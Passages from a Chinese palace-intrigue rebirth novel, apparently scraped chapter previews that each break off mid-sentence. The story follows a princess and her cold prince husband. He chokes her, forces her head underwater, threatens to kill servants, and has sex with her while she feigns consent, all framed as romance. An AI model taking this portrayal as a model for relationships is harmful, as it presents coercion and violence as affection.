沈绥的眼神转回来,看了眼沈珩,却对这个维护他的皇兄并没有什么感激之意。 6. 冲撞 《被夫君舍弃后重生了》全本免费阅读 陈皇后一手护着肚子,一手猛地一掀,沈绥献上去那木盒子便打翻在地。 一根木轴滚了出来,带着绢帛徐徐铺开。 乌春瞥了一眼,只见那绢帛上黏附了一层宣纸,宣纸上绘制了一幅秋菊图,水墨点点,菊覆漫山秋色,一看便不是出自凡俗之手。 问题出在菊花的颜色。 用了铅白作料,秋菊图显得凄冷寡淡,放在生辰宴上,属实寓意不详。 本来歌舞升平的露天圆台霎时寂静一片,舞女皆跪在地,低着头大气也不敢出,参与宴会的后宫女眷也没几个胆子大些的,恨不得将头埋进地里。 乌春也跟着跪了下来。 皇子里,沈绥微微欠身,朝着陈皇后不卑不亢地行了一礼;沈珙跪是跪了,但没个正经样;沈珩上前一步,颇有长子之风,道了声“皇后息怒,凤体为重,勿动胎气”。 沈瑜皱了眉头,“怎么回事?” 陈皇后道:“回皇上的话,臣妾今日生辰,本该是大喜的日子,竖子竟献上白菊图画,不臣之心简直昭然若揭!” 乌春依稀记得,前世沈绥也惹得陈皇后大怒,只是当时乌春尚且是个刚嫁来大梁不久的皇子妃,规矩学得懵懵懂懂,宴会的时候时刻仔细着礼仪,陈皇后盛怒,她自然怕得要紧,也一心祈祷着沈绥不要出什么事儿,心神不知跑去了哪儿,宴会过后不久便忘了这回事。 在场之人皆觉一股寒意漫上天灵盖! 沈绥好大的胆子! 沈瑜脸色沉了几分,“三郎,你说说怎么回事?” 沈绥清冷的嗓音响起来:“回父皇,儿臣不敢忤逆。只是皇后娘娘会错了儿臣的意,世人皆知白菊有哀悼之意,却不知白菊因其色,也有喻指高尚美德之意,儿臣送此图,是称赞娘娘美德。” “也望娘娘日后,举止坦荡端庄,品行高尚磊落。” “更何况,菊花瓣繁多,儿臣衷心祝贺,娘娘千秋。” 有人松了口气,可有的人,在沈绥这话中琢磨出许多深意来。 旁人献贺礼,都献些珠宝钗环,或是家乡特色,雅致一些的,便是像沈珩那般献上贺寿字画,也会选择不出什么差错的吉祥图案。 怎么看,沈绥都像另有心思。 奈何沈绥这一番话说出来,调子平淡,不慌不乱,竟然一点心虚都无,好像真的是表示称赞之意。 谁人不知,三皇子和皇后素来不和。 想到这一层的人,身上那刺骨的冷意又加深了。 沈绥永远都是这样,让人捉摸不透他到底在想什么。 陈皇后瞪圆了眼,“你怎么敢说出这样一番话来?你分明就是心怀歹意!不知是对本宫,还是对本宫肚子里的皇嗣!” 沈瑜脸色也不大好看,安抚皇后道:“今日是你的生辰,本该欢喜,你得胎不易,就少动些怒罢。朕观三郎也未必如你所说的这般不敬你,你腹中胎儿为重。” 当皇帝的,平时日理万机,歇下来的时候自然不愿意看见后宫争执,哪怕是再不喜欢沈绥,也不宜在皇后寿宴这等场合刁难,况且,皇后的肚子里还怀着孩子呢。 陈皇后瞧得出来,便安分下来,对沈绥冷脸道:“你既然如此说,今日便罢了,你下去罢。” “是。”沈绥回到乌春旁边。 皇帝道了声“都起来罢”,众人才敢归位。 不似那些心有余悸的众人,乌春回了席位,抓起糕点便吃,一口桂花糕一口茶,再来一口龙须糕,津津有味,仿佛方才惊险的不是她的夫君。 旁人瞧见了,心里嘀咕道:不愧是南疆女子,心真是大,也不怕受三皇子的牵连跟着连坐。 沈绥望向乌春的时候,眼底带了几分笑意,将自己面前的糕点也推到乌春跟前。 “啧,三哥和嫂子真是恩爱呀……”对面沈璎瞧见了,托着鼓鼓的腮帮子,跟宫女小声嘀咕,脸上精彩得跟绫罗铺子似的。这年纪的姑娘,大都喜爱看些八卦轶事。 只有乌春自己心里知道,沈绥在外人眼中,七分都是假,剩下三分真的都让她瞧见了。 乌春含笑将沈绥推过来的碟子推拒回去,“此糕美味,殿下若是不吃,可就可惜了。” 沈绥不喜甜食,在乌春的印象中,几乎没见他吃过几回糕点。 乌春夹起一块枣泥酥,送到沈绥嘴边,嘴角凹进去两个浅浅的梨涡,笑得比糕点还甜。 沈绥微一挑眉,便就着乌春的手吃下,“有劳爱妃。” 在案几之下,沈绥的手捏住了乌春的,用一种仅他二人可闻的声音道:“少耍些小把戏。” “殿下都敢跟皇后叫板,臣妾便是做了错事,不也有殿下护着么。” 乌春收回手,沈绥的手空了一瞬,五指还虚虚张着,指尖一蜷后,收回袖中。 沈绥道:“陈氏与本宫的过节,你又不是不知。你既然是本宫的正妃,若是做错了事,本宫自然会护着你,但也需得看你做了何事,对何人做错了事。” 言下之意就是,他的事少管。 换从前,乌春早该怕得哆嗦,柔软的身子抱住沈绥,冲他撒娇。 但现在,乌春淡淡呷了口茶,凉凉道:“殿下要做什么,臣妾怎好干涉,也没胆子干涉。” 就在这时,皇帝大抵是看众人因为沈绥方才那一闹,再坐在此处不能尽兴,也担忧方才陈皇后动了胎气,便让众人在寿安宫中自由走动,自己携皇后到了宫中小榭休憩,宣了太医。 乌春放下茶,坐在席位上没有动,眼前还有好多糕点没吃呢。 沈绥见乌春没有起身的意思,便先离去了,不知去了何处。 不少人起身,开始相互寒暄起来,宴席上皇帝的后妃居多,聊着聊着玩起了叶子牌,一边玩一边话中带话,明刀暗箭的,瞧见了乌春一个人吃东西,也没有拉她一起玩的意思。 大梁妃子嘛,大多嫌弃她粗鄙野蛮,怎么瞧得上她? 也无可厚非。她现在的表现在她们看来,确实挺没见过世面的。 乌春觉得没意思,眼神开始寻找起萧怀文来。 只见萧怀文从台阶下的角落里走出,绕过后妃的时候,没往她们那处看一眼。 黑色的背影渐行渐远。 经过了沈璎。 游鱼似的斑驳的树荫之下,沈璎正跟宫女踢毽球,彩色的毽球扬起又落下。 乌春盯着她和萧怀文,眼睛都看直了。 两人逐渐靠近。 萧怀文看见沈璎踢毽球,存心避开,步子刚一转,沈璎就一不小心踢歪了,毽球便往萧怀文的脸飞去! 沈璎的笑容 7. 占有 《被夫君舍弃后重生了》全本免费阅读 一墙之隔,沈绥站在底下,如松如玉,面前是禁军首领萧怀文。 这里离禁苑还有很长一段路。此地虽然不算是无人角落,但也算偏僻,寻常应当鲜少有人从此处经过。 完了! 看见沈绥,乌春脑子里第一个念头不是惊讶,而是惊恐。 前世的记忆珠子似的一连串涌上来,脑海里闪过一道霹雳,乌春一下子就恍然过来。 萧怀文是沈绥手底下的人! 沈绥在这里,可不就是和萧怀文议事么?一个受皇帝冷落的三皇子,和禁军首领怎么扯上关系的?总不可能是要他多护卫些皇帝罢,指不定在商量着谋反呢。 就、就……让她撞见了…… 乌春一张脸霎时没了血色,浑身的血液几乎都凉了下来,温暖的春日阳光照在身上,竟然遍体生寒。 沈璎哪里想得到这么多,只觉得尴尬,便以为乌春也是尴尬,用胳膊肘捅了捅乌春,“嫂嫂,你说话呀……” 面前是沈绥和萧怀文,沈璎和他们两个都不熟悉,而乌春是沈绥的皇子妃,怎么看也应该是她先打破沉默。 沈绥听见动静的时候,眼里先是闪过一道锐利的寒光,而后看清来人是乌春,阴冷的戾气淡了不少,只是没想到是在这样的地方、这样的角度,眸中微微拂过一丝诧异,又很快消退。 阳光照下来,恰恰落在乌春雪白的面上,雪肌玉腮,几乎整张脸都熠熠生辉,柔软的耳垂今日坠着南疆特有工艺锻造的银环,银环中央一颗红宝石,光彩夺目,衬得人更加娇艳欲滴。往下,是如丝如瓷的修长脖颈,光是看着,就让人想象到那细腻软糯的触感,轻轻一用力,就会留下暧昧的红痕。 沈绥喉结微动。 只是她神情不大对劲,一双眼涣散失神,像是遇见了什么洪水猛兽,跟提线木偶似的僵在墙头,不知道的还以为哪个能工巧匠做了个精致的娃娃放在宫墙上呢。 萧怀文低下头。 沈绥询问道:“爱妃?” 乌春一个激灵,回过神来,望见沈绥的眼里并没有什么杀人之意,按捺住一颗狂跳的心脏,“殿下……” 她唤的时候,嗓音还带着些许颤抖,而后吞了吞唾沫,语调一转,带着哭腔道:“殿下,臣妾找你找得好苦啊……” 沈璎侧过头看她,一双眼里满是疑惑,又很快明白过来。 嫂嫂这是怕三哥误会罢! 乌春眼睛一眨,竟然真的有眼泪掉出来,沈璎对她演戏如此逼真而赞叹不已,但只有乌春自己知道,这是因为方才的恐惧。 “殿下,臣妾只是贪口腹之欲,在席间多吃了几块糕点,甫一抬头,您就走了。您是不知,你们大梁女子素来瞧不起臣妾,嫌弃臣妾粗鄙,故而白眼以待,臣妾是有心同她们交好,她们却不搭理臣妾,只有公主殿下同臣妾说得上话……臣妾感念公主的善意,也就愈发想念起殿下来,殿下是我在宫中唯一的依仗,便赶着来寻殿下。因为臣妾太过急切,竟是一刻都等不得,便翻了墙头抄近路,真是天公作美,恰巧碰见了您呀!” 乌春每说一句,沈绥的脸便黑一分。 说鬼话就不能对着鬼说?从前以为她本分乖巧,没想到鬼话张口就来,眼泪说掉就掉,演起戏来比伶人都逼真。 外人面前,和前几日在毓宁宫他面前,简直形同两人。 沈绥凉道:“那公主为何也在此?公主也想念本宫了不成?” 沈璎眉头一蹙,似是急了,她听说三哥的脾气不大好,也从来不愿意同人亲近,便瘪着嘴道:“不不不,我是来找领军将军的。” 萧怀文抬起头。 沈璎将玉佩拿出来,“方才萧将军的玉佩落下了,喏……” 小公主巴巴把玉佩掏出来的时候,沈绥冷哼一声。 乌春对着沈璎使眼色,她这一开口,那她方才对沈绥说的话,不就坐实了是假的吗? 萧怀文看了看自己空荡荡的腰间,单膝跪下来,“臣多谢殿下。” 沈绥一拂袖子,大抵是懒得和她们计较,对乌春伸开双臂,“下来。” 他长手长腿,臂膀有力结实,伸开来的时候,线条挺拔流畅,再加上他脸生得俊美,这般在墙底下接夫人,还并不责备她的失礼,谁看了都得感叹一声,乌春有这么一个体贴夫君,真是好福气呀。 唯独乌春本人不这么觉得。 上一世,她就是这样被沈绥迷惑了去,他偶尔的温情让她一点点沦陷,便刻意忽略了他刻骨子里的冷,直到死她方看清他的本性。 伪、冷、疯。 乌春体态轻盈,沈绥接住她并不吃力,她落下来的时候,他双臂收紧,抱了她一下,感受到起伏柔软的曲线。 乌春下了地。 沈璎望着沈绥。 沈绥平静地和她对视,没有任何要接她的意思。 “三哥……三哥、三哥……”小公主撒娇道。 沈绥的目光落在萧怀文身上。 萧怀文会意,上前一步,伸出手,“殿下,臣失礼了。” 沈璎不记得自己是怎么落到地上来的,只记得天地间似乎只有自己如雷的心跳声,还有萧怀文身上淡淡的汗味,他衣裳里应当穿了护体的贴身铁甲,否则也不会触碰起来如此坚硬…… 沈璎刚还玉佩,就从后面跑来一路宫女,“公主殿下,可算是找到您了,贵妃娘娘要见您呢!” “母妃?”沈璎对几人道了声告辞,多看了萧怀文一眼,就离开了。 萧怀文对沈绥道:“这案子卑职定当竭尽全力,请殿下放心。”说罢行了礼也走了。 只剩下乌春和沈绥。 乌春现在冷静下来,稍稍一想就明白了。 沈绥这样的人,怎么可能会在光天化日之下,跟萧怀文这么嚣张地站在路上商议谋反的事情?既然敢在外面说,就肯定不是什么见不得人的事,应当大概是些极少数人知晓的案子,毕竟要防着隔墙有耳。 沈绥的眸光落在乌春身上。 乌春下意识往后退了一步,“殿下,您也知道了,臣妾瞒不住您,今日这是、是帮着公主还玉佩呢。” “堂堂皇子妃,追着禁军首领翻墙,不知道的传出去,还以为本宫头上戴了绿帽。”沈绥的语气很冷。 乌春知道他向来记仇,一丁点小事都能记上几年,大概还记着去岁冬日的事,便又往后退了一步,“臣妾也是为了公主着想,公主可急了。” “若是本宫不在,你追到了萧怀文,你怎么从墙上下来?”沈绥凝视着她,颇 8. 她变了 《被夫君舍弃后重生了》全本免费阅读 宫里人唰唰跪地,骇得气都不敢出,那个被点的太监,一下下磕头,“殿下饶命、殿下饶命啊!” 乌春脑中的弦嗡了一声,一路来本就委屈,顾不得些细枝末节,当即道:“沈绥你疯了!他不过是个太监,你也刁难他!” 阉人之所以能在后宫做事,正是因为他们是阉人,皇室不必担心他们与后宫女眷发生些什么,至于沈绥因为这太监扶了乌春上辇,就要砍他的手,简直荒谬! 然沈绥只是冷眼看着太监将头磕的血流,石砖地上一团斑驳的血迹,无丝毫动容,带了几分上位者的漠然与威严。 沈绥抱着乌春往逢春殿走,走到殿门,还能听见太监的求饶声,沈绥眉心微蹙,视线落在跪在门前的宫女身上,宫女立刻会意,将大门合上。 地上的光寸寸移动,沈绥整个人都笼罩在阴影之下。 清净了。 “……沈绥你真不是个东西!”乌春脑袋发胀,眼睛也酸,眼泪却流不下来,拳头砸在沈绥背上,对于他来说,就跟挠痒痒似的,沈绥不理会,入了殿便往床榻走。 乌春的鞋袜三两下被褪去,旋即被摔在柔软的被褥之中,后背弹了两下,沈绥的膝盖顶过来的时候,她的眼泪唰地落下来。 今日乌春脸上抹了层脂粉,眼泪一掉下来,妆容花了大半,一张脸上白一块粉一块的,眼眶周围红红的,跟个兔子似的,一张脸凌乱狼狈,却有几分楚楚可怜之意,叫人忍不住再去蹂躏凌虐一番。 沈绥眸底的光闪烁起来,指腹刮在她眼尾,拭去泪,指上却多了一层白粉,他一挑眉,拈了拈指尖,古怪地看着这粉末。 “谁让你给我抹泪了,你难道不知妆会越抹越花吗?”乌春只觉满腔委屈。 怎么就摊上这么个男人了呢?乌春又气又恨,一脚往他下身踹去,他敏捷地握住她的脚踝,“那有什么法子将这粉去了?” “当然是洗呀!” 沈绥将人打横抱起,几步跨到面盆架前,恰巧那铜盆里还有大半盆水,将人放下之后,不待她反应过来,就捏着她的后颈往铜盆里按。 “哗哗哗——” 晶莹的水珠迸射开,溅了一地,也将两人的衣襟染上了深色的斑驳。 凉水呛入乌春的口鼻,刺激得她猛烈咳嗽,然而一咳嗽,胸腔之中就灌入更多的水,让人窒息! 一连串的气泡鼓上来,沈绥大抵是觉得差不多了,捏着后颈将人提溜起来。 乌春反手将沈绥的手拍开,哭喝道:“你是要杀我还是要给我洗脸?” 水珠沿着乌春脸上轮廓滚落,几缕发丝黏在腮边,耳坠沙沙直响。 沈绥嘴唇动了动,眼底拂过一丝无措,“我若要杀你,断不会用这么费时的法子。” 乌春气愤地指着他的鼻子道:“你们臭男人懂什么?!女儿家卸妆容哪有你这样的!一介莽夫!” 小姑娘颇委屈地从案几边装满了瓶瓶罐罐的抽屉里取出一个膏药盒子,舀了一勺药泥,抹在脸上,先是抹了已凌乱不堪的口脂,再是小心翼翼涂抹眼皮,一边还不放心地用指腹压了压,生怕没抹匀,最后才是额头、脸颊、下巴…… 然后用水冲洗。 沈绥瞧着她,不知不觉眉头紧锁,脸上似乎爬满了黑线。 但出乎乌春意料的,没有催促她,也没有用些强制手段,只是静静地在一旁看着。 大抵是从未见过姑娘家卸妆。 更不曾见过她用这自制的药膏卸妆的方法。 乌春嫌弃寻常用淘米水卸妆的方法清洗不够干净,便从南疆以西的小国采购了些红花籽,拿来同大豆榨了油,再加了些南海捞上来的海藻烧的汁,佐以佛手调香自制了药膏。 乌春忽然觉得有些好笑,这样的臭男人,大概前世她为他精心化了妆他也瞧不出什么精妙,一腔热情都喂了狗。 乌春弄完后,瞪着沈绥,眼睛尚且是红的,眼尾带着湿意,只是望过去,便像是一把钩子挠在人心上,媚骨天成。心知有些事是迟早的,她躲不过,只好假意迎合。 沈绥连这几步路都等不得,将人往墙上抵。 …… 子时。 不知是不是乌春的错觉,竟觉沈绥今日比先前要温存些。他的温存并非是在行事之时怜惜她收着力,而是偶尔会停下来吻她的脖颈、唇畔。 但乌春没有力气深想,太过疲惫,倦意涌了上来,眼皮一闭就要睡着了。 一室凌乱。月光泄在地上,泛出斑驳的晶莹水光。 沈绥依旧不宿在逢春殿,披了衣便走,临走前,还回头瞧了眼浑身粉雕玉琢似的乌春。 她两片羽毛似的睫毛在眼皮子底下落下弧形的阴影,整个人白里透粉,月光为她镀了层银辉,像是精致的琉璃器,碰一下就要碎了。 这一眼太误事。 沈绥喉结上下滚了滚,重新俯下身去,手刚覆上她的腰肢,就听见清浅的呼吸声。 她睡着了。 沈绥手指指骨微曲,似要发力,然而终究只是渐渐松了去,手指离开,人也彻底离开。 回到宣阳殿,沈绥洗了冷水浴便歇下,今日入睡比往常快。 眼前出现了从未梦见过的场景。 红枫遍野,风一吹便有枯叶落下,衬着宫墙都跟烧起来了似的。 “啪、啪。” 尚宫的鞭子一下下落在沈绥身上,沈绥的唇抿成一条直线,一声不响,着的是黑衣,后背已被血浸湿一大片,破了口子,露出血肉模糊的背。 “胆敢毒死皇后娘娘的猫,胆子也太大!这猫是邻国进贡的稀有异瞳种,通体雪白无暇,血统纯正,得皇后娘娘的喜爱,愈发珍贵无比,也是你能毒害的?!” 沈绥确实同那猫接触过。 但他懒得给一只猫下毒。 那猫自己跑出来找食,抓不到耗子,反倒找到了角落里毒耗子的砒霜,于是吃了砒霜死了。 他只是冷眼看着,懒得救而已。 陈皇后跋扈,连带着协同她掌管后宫的尚宫也跟着气焰嚣张,沈绥并不受宠,性格冷淡,在宫里不怎么讨喜,又因为他的身世,被一些嫔妃白眼。尚宫算是地位极高的女官,下手也就毫不怜悯。 沈绥抬起眼,眼里浸了层杀意。 这一眼,看得尚宫捏鞭子的手抖了抖。 “你看什么看?!”尚宫遮掩自己畏惧似的大声斥骂。 沈绥紧抿着唇,袖中的手攥紧了。 不远处忽然传来清脆的女声,“别打了别打了!” 是那个 9. 生辰 《被夫君舍弃后重生了》全本免费阅读 昨夜下了春雨,垂丝海棠落了一地,空气中花香清浅,宫阙千重都笼罩在蒙蒙春雾之中。 乌春甫一醒来,就听见外面玉梨呼唤,“大殿下来信了!” 惊莲低喝道:“你小声点,殿下尚未醒来呢……” 听见“大殿下”几个字,乌春几乎是从榻上弹了起来,顾不得身上的酸软,胡乱穿好衣裳,赤着脚跑到窗边,一把推开窗子,眼里坠了星子似的闪亮,“哥哥来信了?” 惊莲道:“呀,殿下您醒了,这是大殿下给您的信。”说着将信递过去,随信而来的,还有一个纸包裹。 乌春是南疆王乌善九和前王后琉氏的女儿,琉氏还有一子,名为乌雷。母亲琉氏去得早,兄妹二人一同长大,感情深厚。 琉氏去后,南疆王没多久便娶了月氏续弦,月氏诞有一女乌昭。相比于乌春,乌昭因着母亲月氏风情婀娜,更得南疆王的宠爱,乌春也就没怎么被南疆王管教,过着半是放养的日子。上树打鸟,下河摸鱼、混在平民中看戏子唱戏、听路边说书人讲才子佳人,都是乌春玩腻的。 但月氏不喜乌春不守礼教,作为王后,也需要立威,就对举止并不怎么规矩的乌春要求严苛,时常打压,每次乌春要受到月氏的责罚,都是乌雷袒护。 乌春心里也过意不去,久而久之,就养成了人前装乖巧,人后顽皮撒野的性子。 掉几滴眼泪、演出一副无辜委屈状,对她来说自然简单。 说起乌雷,乌春心里其实是有愧的。 前世每隔几月就会收到哥哥的信,毕竟妹妹远嫁,做哥哥的哪能放心,生怕她受一丁点委屈。 乌春嫁给沈绥的前一两年还会回信,到了后面,信件回得越来越少,因为长久不曾见面,再浓的感情也会淡下去。乌春一心扑在沈绥身上,看着乌雷寄来的信,就想着先放一放吧,放一放再回。过了段时间之后,又将回信的事情抛之脑后。 久而久之,书信往来越来越少。 乌春前世听到关于乌雷的最后一次消息,竟然是乌雷的死讯! 他娶了妻,可那妻子是月氏安插的人,新婚当晚,乌雷被一杯毒酒毒死了。 而远在大梁的乌春只能看着角落里落了灰的信件,泣不成声。 脑海里浮现起有关乌雷的画面…… 哥哥带着自己挽着裤脚在水中摸鱼,她有一次一不留神滑倒,从此以后他都让她坐在岸边等着他抓鱼; 他让她坐在自己肩膀上看戏子咿咿呀呀唱戏,前面都是人,他被挡了个严实,却笑着说你看见了就好; 月氏拿鞭子抽她的时候,他跪在她前面,说:有哥哥在,妹妹若是受委屈,那不是撕哥哥的颜面吗? 可这样一个真诚又淳朴的人,却没有一个好下场。 有情人惨死,无情人称帝,世事都是如此残酷吗? 前世连哥哥最后一面都不曾见到,这一世一定要早早离开大梁,见哥哥一面,并且……要让那月氏不得好过! 乌春拆开信件,熟悉的端方字迹映入眼帘,竟有恍若隔世之感。信中写了乌雷对她的问候,南疆近来的奇闻轶事,还有…… 她的生辰。 若不是乌雷写信,她自己都险些忘了,她的十七岁生辰还有小半月便到了。 随信而来的另一个小包裹,拆开一层油皮纸后,内里是一个鼓鼓囊囊的红蓝相间布袋,尚未解开系绳,已经闻到一股甜香,再打开,是满满一袋子的波波酥。 波波酥是南疆王宫特有的甜糖,大梁吃不到,乌春却从小爱吃,乌雷便捎了过来。 乌春心里涌过暖意,吃了一块波波酥,酥皮和粉末入口即化,饴糖熟悉的甜而不腻的味道漫在口中,竟然险些有泪要落下…… 她好久没有回到南疆了呢。 前世央求过沈绥去为她寻波波酥,结果是可想而知的。他并不在意,随口答应之后,便没有后事了。乌春怕他不悦,再也不提。 一袋子的波波酥,乌春却没有多吃,将布袋重新系好,坐在窗边给乌雷回信,写着写着,忽然有一计上心头。 她出了大梁皇宫就没有人脉眼线,想要做些事、取些东西也就尤其不易,既然哥哥可以寄些南疆的东西来大梁,那为何不让哥哥帮一帮自己? 乌春笔锋一转,先是陈述自己的满腔期待,然后是在沈绥身边的失落、宫中日子的无趣,还有大梁人的刁难,最后提到,自己想要在大梁宫中立足,需得有些防身之术,于是将早就想好的材料和草药一一陈列出来。 信的末尾还用半是撒娇的语气添了一句:若是哥哥要娶妻,一定要等妹妹见过了嫂子才行,妹妹可舍不得将这么好的哥哥让给旁人。 做完这一切,乌春总算觉得自己不算是孤立无援了。 沈绥调任大理寺,近日手上有个案子,也就忙了起来,从毓宁宫中离去,不知多久回来。 乌春记得,前世沈绥也是这时候查案子,这案子似乎查了还挺久,毕竟牵扯到十六年前一个故去的妃子谢阮阮和大逆不道要谋反的谢家。 …… 说起来谢家,世人大多唏嘘不已。 当年谢家可是大梁帝都数一数二的名门望族,定安侯谢清之为大梁打了不少胜仗,只可惜后来生出了反心,举兵谋反不成,阖族被灭。 皇帝为了警示天下人,以儆效尤,专门在宫中铸造白塔一座,天气晴朗之时,站在宫中高处便能瞧见,内里放着谢家一百多人的骨灰,皆被打上反贼逆臣的名号。 白塔名曰:昭天。 昭告天下,谢家不臣,下场如此,孰敢再反? 那白塔也就是前世乌春被乱箭射死的地方! 至于为何谢家五百多人,塔里的骨灰却只有一百多人的,是因为当年太苍山起了大火,谢家军悉数活活烧死于此,焚尽三百里路,早已分不清哪是人烧过后的碎骨、哪是焦土! 此后十年太苍山寸草不生,因为死去的人太多,被视为不祥之地,方圆百里内,没有人烟。 当年谢家之事,几乎是皇帝心头的一块逆鳞。可就在不久前,有一个人上奏,觉得当年谢阮阮的死有蹊跷。 皇帝看见了奏折,勃然大怒,将案上的书卷尽数扫落在地。 上奏之人是新上任的大理寺少卿江玄凝,和谢家没有什么瓜葛,又素来以清正闻名,曾经缴获官吏贪污的三千两银子。 不提倒还好,既然提了,皇帝若不管便会显得自己不仁德,无法,将陈年旧案翻了出来。 这可是人人皆知的烫手山芋。 毕竟江玄凝提出的案子,定是有些蹊跷之处,但若是翻出来谢阮阮的死并非当年案卷记载的那般,那不就是打皇帝的脸吗? 皇帝为了表明自己愿意肃清冤案的态度,就让沈绥挂了职,辅助大理寺一同审理。而沈绥也确实是个合适的人选,身为皇子,当年年岁尚浅,又养在青州。 真是乐坏了乌春! 沈绥公务繁忙,她也就可以在毓宁宫快活了! …… 若是绞尽脑汁地想,沈绥这人倒有几点好的。 没有妾室,宫中下人也少,至于贴身婢女,更是从未有过的。毓宁宫空荡荡,乌春少了许多烦心的争斗。 况且沈绥这疯子,自己也不是个守礼法的主,有时候乌春逾越些,他也不责罚。 前世自己生辰之时,总是盼着沈绥就算没有生辰贺礼,也能对她嘘寒问暖几句,但什么也没有。 她的生辰,只是春日一个很寻常的日子。 沈绥应当也从不记得。 前世十八岁生辰那日,她盛装打扮,站在梨花树下,将头靠在他的胸膛,听见他平稳如常跳动的心跳,眼里一滴将落未落的泪,红着眼道:“殿下今日空闲,陪陪阿春好不好?” 沈绥答应了。 乌春欢喜得几乎跳起来两丈高。 她壮着胆子,说想要看花月楼里的明 10. 银铃铛 《被夫君舍弃后重生了》全本免费阅读 不必沈绥多言,他眼光一扫,院子里的下人们都极有眼力见的退下。一时间,只剩下乌春和他二人。 乌春歪了歪脑袋,疑惑地看着他。 沈绥冷声道:“下来。” 乌春才不下来呢,“你是什么人,凭什么命令我?” 沈绥耐着性子,“与你成过亲的夫君。你未免太过胆大,宫中人多眼杂,你此举成何体统。” 说罢走上前,本欲伸手,可乌春坐的地方实在高,她软的跟一摊泥似的,沈绥便入殿登梯,将乌春拦腰抱起,几步轻功点下了地。 乌春抬手挑起沈绥的下巴,笑了笑,“我夫君早就死了。” “放肆!”沈绥眉心一跳,低头看她睁着一双醉眼,双目无神,并不是有心,胸中的怒意却更汹涌了,“你再好好看看,是谁抱你下来的?” 乌春睁大眼,倒真的打量起他来。 沈绥已抱着她入了殿,将她放在床榻上,她便如无骨似的倚靠着床柱。 乌春道:“你……是小福子?” 不知又是哪个太监。 沈绥坐到她身边,嗓音幽凉,“你说一个,我杀一个。” 乌春好似听不懂他在说什么,笑意盈盈地用手指点了点他的胸膛,银铃铛叮叮响起来,“那你去将沈绥杀了罢。” “乌氏,你知不知道你在说什么?!” 修长的手指扼住她的脖子,醉了酒的人本就反应迟缓,她呼吸不顺,很快脸涨得通红,眼角因咳嗽呛出了泪。 到底还是醉了,沈绥按捺住怒意,手一松。 乌春嘴一瘪,泪水就断了线地落下来,“可他会杀了我的。” 沈绥心里的怒意又变成了疑,渐渐地,眼里笼上了层雪亮的杀意! 何出此言?莫非是知道了一些不可告人之事? 若是……她知道他的计划…… 只听她继续哭泣道:“我好久没过过生辰了,沈绥不管我也就罢了,没有他我反而快活……但,他这样的人,就不该有妻室……我和他成亲,就像是嫁给了一个死人。” “为何?” 沈绥的杀意散了去。 沈绥想不明白。他平素对她说不上有多关怀,但夫妻该有的体面却很是周全,不曾在外责骂,也不曾与旁人议论嘲讽她,人人都道乌春真是好福气,她怎么还敢这般说他? 她抽搭两下,却迟迟说不出话来,只是哭着,一串一串的泪珠往下滴。 妆容又花了。 沈绥觉得脑仁疼。 端来了面盆,拿起巾帕僵硬地为她擦起脸,擦得很慢,效果却并不如何,乌春的脸斑斑驳驳,口脂晕染开,整个下巴都一片红。 沈绥看着看着,嘴角莫名扯了扯。 今日是她的生辰。 他记得的。 本来不该回来,但想了想,毕竟要给她些体面,便赶了回来。 但她说,没有他,她反而快活。 沈绥的嘴角又压下去,薄唇抿成一条线,“你在逢春殿倒是快活,你可知本宫今夜赶回来是为了什么?” 乌春这时候又好像认出了他,“你回不回来跟我有什么关系?你就算是死在外面,也与我无关,我反倒要拍手称快,死了夫君,我就可以卷着金银财宝跑了!” “哗哗。”巾帕被摔入盆中,溅起大片水花。 沈绥额角青筋跳动,“你若再说,本宫真会杀了你!” 乌春好不容易止住了的泪又要涌出来,“你好凶呀。” 而后将自己抱起来,刺猬似的蜷成一团,露出洁白的半截小腿,脚踝上用红绳系了银铃铛,愈发显得肌肤莹白。 她今日穿得格外大胆,袖子裙摆只要一动,便会露出些肌肤,腰间更是做了裁剪,一截纤腰明晃晃地露在外面。 “你这身打扮,除了毓宁宫中的人,还有谁见过?”沈绥的嗓音很冷。 “没了。” “若是本……沈绥在呢?你穿不穿这身?” “我才不穿呢,凭什么便宜了他呀。”乌春一脸无辜。 沈绥怒极反笑,语气阴沉,“好,好的很。明日本宫就将毓宁宫里的下人全杀了!” 然而他的话语对乌春不起任何作用,她抱着自己的膝盖,眼皮翕动几下后,彻底闭上了。 沈绥去握她的脚踝,她嘤咛一声后,换了个姿势,用左手撑着脑袋,继续靠着床柱酣眠。 沈绥像是一拳打在了棉花上,有气撒不得。 手中她的脚踝温软,仿佛在掌心能跟雪一般融化,那红线更是晃得他眼都移不开。 偏偏人睡了,醉成了一滩泥。 沈绥一脚揣开逢春殿的大门,“来人!” 惊莲和玉梨低着头小跑过来,气都不敢出。 “将皇子妃仔细沐浴,一丝酒味都不许留。” 沈绥吩咐完了之后便走,一路跟着他回宫的小侍卫以为他这是赶着去京郊,方便明日办公务,便小心道:“殿下,此时可不好出宫,需得圣上的准许,您可……” “谁说本宫要出宫了?”沈绥往宣阳殿走。 小侍卫奇道:“那殿下怎么今夜不在……”怎么不在皇子妃的殿中? 话说到一半方觉不妥,这是殿下的私事,怎好多问,便住了嘴。 果然,沈绥沉冷的目光刮过来,小侍卫跪地,“殿下饶命!” 他忽地想到什么,抖了个机灵,“殿下若是将您在胭脂铺子挑了大半晌的口脂送给娘娘,娘娘肯定会很欣喜的。” 不说还好,一说,她那句“没他更快活”似乎又萦绕在耳畔,沈绥一脚将小侍卫踹倒。 “拿去扔了。” 常年行军的小侍卫被这一脚踹得咳血。他对殿下深藏不露的功夫惊愕不已,连“是”都忘了说,等再回过神的时候,沈绥早已入了宣阳殿。 小侍卫颇为惋惜地从袖中取出一个小匣子,打开来,为了防止瓷制的口脂盒子在路上磕了碰了,还塞满了稻草和布料。 当时殿下走入胭脂铺子的时候,他还以为殿下要抓铺子老板去大理寺呢…… 直到殿下冷着脸,审犯人似的问老板口脂的颜色种类,然后从十六种几乎没什么差别的颜色中选了一个,他真是恨不得弯腰把下巴从地上捡起来! 唉,这么一个小盒子,可抵得上他一年的俸禄了。 怎么好端端的,又不送了呢。 …… 翌日,乌春醒过来的时候,太阳已经到了正当空,她掀开眼皮,刺眼的光照亮了床榻前的人影。 男人身形高大挺拔,投下来大片阴影,今日穿了绯色的官服,显得面色冷白,眼角的红色小 11. 沈珩 《被夫君舍弃后重生了》全本免费阅读 乌春刚刚沐浴完,沈璎就找来了。 小公主一把鼻涕一把泪诉苦,“嫂嫂,你就不能跟三哥说点好话吗?三哥今天一大早就要人把舞姬的脚和乐师的手打断,日后本宫可就听不了曲看不了舞了。三哥也真是的,做起事来,谁的面子都不给……” 